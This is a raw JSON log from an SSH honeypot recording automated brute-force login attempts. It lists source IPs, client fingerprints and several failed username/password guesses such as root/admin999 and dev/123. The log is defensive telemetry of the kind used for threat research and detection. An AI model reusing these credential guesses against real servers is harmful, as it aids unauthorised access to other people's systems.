{"eventid":"cowrie.login.failed","username":"root","password":"admin999","message":"login attempt [root/admin999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:54.707392Z","src_ip":"27.71.230.31","session":"a6344256273a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:55.225293Z","src_ip":"91.92.40.171","session":"864d8f47ba53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:56.085169Z","src_ip":"27.71.230.31","session":"a6344256273a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46952,"dst_ip":"159.203.135.109","dst_port":22,"session":"48a1301cba1e","protocol":"ssh","message":"New connection: 91.92.40.171:46952 (159.203.135.109:22) [session: 48a1301cba1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:58.871986Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37270,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b4d2ffaed66","protocol":"ssh","message":"New connection: 91.92.42.133:37270 (159.203.135.109:22) [session: 0b4d2ffaed66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:58.979372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:59.027467Z","src_ip":"91.92.40.171","session":"48a1301cba1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:59.030640Z","src_ip":"91.92.40.171","session":"48a1301cba1e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:59.044344Z","src_ip":"91.92.42.133","session":"0b4d2ffaed66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:59.113793Z","src_ip":"91.92.42.133","session":"0b4d2ffaed66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:59.634504Z","src_ip":"91.92.40.171","session":"48a1301cba1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:59.762201Z","src_ip":"91.92.42.133","session":"0b4d2ffaed66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:00.733358Z","src_ip":"91.92.40.171","session":"48a1301cba1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:00.847157Z","src_ip":"91.92.42.133","session":"0b4d2ffaed66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0046112537384,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:02.517969Z","src_ip":"94.23.66.112","session":"80c66ddabe67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47046,"dst_ip":"159.203.135.109","dst_port":22,"session":"40581351422b","protocol":"ssh","message":"New connection: 91.92.40.171:47046 (159.203.135.109:22) [session: 40581351422b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:05.470586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:05.554213Z","src_ip":"91.92.40.171","session":"40581351422b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:06.069384Z","src_ip":"91.92.40.171","session":"40581351422b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59822,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56ff0f1eadf","protocol":"ssh","message":"New connection: 91.92.42.133:59822 (159.203.135.109:22) [session: f56ff0f1eadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:06.323788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:06.478094Z","src_ip":"91.92.42.133","session":"f56ff0f1eadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:06.482557Z","src_ip":"91.92.42.133","session":"f56ff0f1eadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:08.093231Z","src_ip":"91.92.42.133","session":"f56ff0f1eadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:08.684839Z","src_ip":"91.92.40.171","session":"40581351422b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:09.376577Z","src_ip":"91.92.42.133","session":"f56ff0f1eadf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56602,"dst_ip":"159.203.135.109","dst_port":22,"session":"43bfa3146f98","protocol":"ssh","message":"New connection: 91.92.40.171:56602 (159.203.135.109:22) [session: 43bfa3146f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:10.155934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:10.160743Z","src_ip":"91.92.40.171","session":"43bfa3146f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:10.247569Z","src_ip":"91.92.40.171","session":"43bfa3146f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:10.328769Z","src_ip":"91.92.40.171","session":"40581351422b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:10.538864Z","src_ip":"91.92.40.171","session":"43bfa3146f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:11.671865Z","src_ip":"91.92.40.171","session":"43bfa3146f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59878,"dst_ip":"159.203.135.109","dst_port":22,"session":"67f452bc1c60","protocol":"ssh","message":"New connection: 91.92.42.133:59878 (159.203.135.109:22) [session: 67f452bc1c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:13.941334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:14.055468Z","src_ip":"91.92.42.133","session":"67f452bc1c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:14.059745Z","src_ip":"91.92.42.133","session":"67f452bc1c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:14.695253Z","src_ip":"91.92.42.133","session":"67f452bc1c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41114,"dst_ip":"159.203.135.109","dst_port":22,"session":"817b0adbfc45","protocol":"ssh","message":"New connection: 91.92.40.171:41114 (159.203.135.109:22) [session: 817b0adbfc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:15.589017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:15.655924Z","src_ip":"91.92.40.171","session":"817b0adbfc45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:15.742596Z","src_ip":"91.92.40.171","session":"817b0adbfc45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:15.853272Z","src_ip":"91.92.42.133","session":"67f452bc1c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:16.123808Z","src_ip":"91.92.40.171","session":"817b0adbfc45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:17.420434Z","src_ip":"91.92.40.171","session":"817b0adbfc45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41154,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c4175e7742f","protocol":"ssh","message":"New connection: 91.92.40.171:41154 (159.203.135.109:22) [session: 8c4175e7742f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:21.103147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:21.317899Z","src_ip":"91.92.40.171","session":"8c4175e7742f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:21.322303Z","src_ip":"91.92.40.171","session":"8c4175e7742f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38466,"dst_ip":"159.203.135.109","dst_port":22,"session":"94fb84a49a9f","protocol":"ssh","message":"New connection: 91.92.42.133:38466 (159.203.135.109:22) [session: 94fb84a49a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:21.700877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:21.752482Z","src_ip":"91.92.42.133","session":"94fb84a49a9f","protocol":"ssh"}
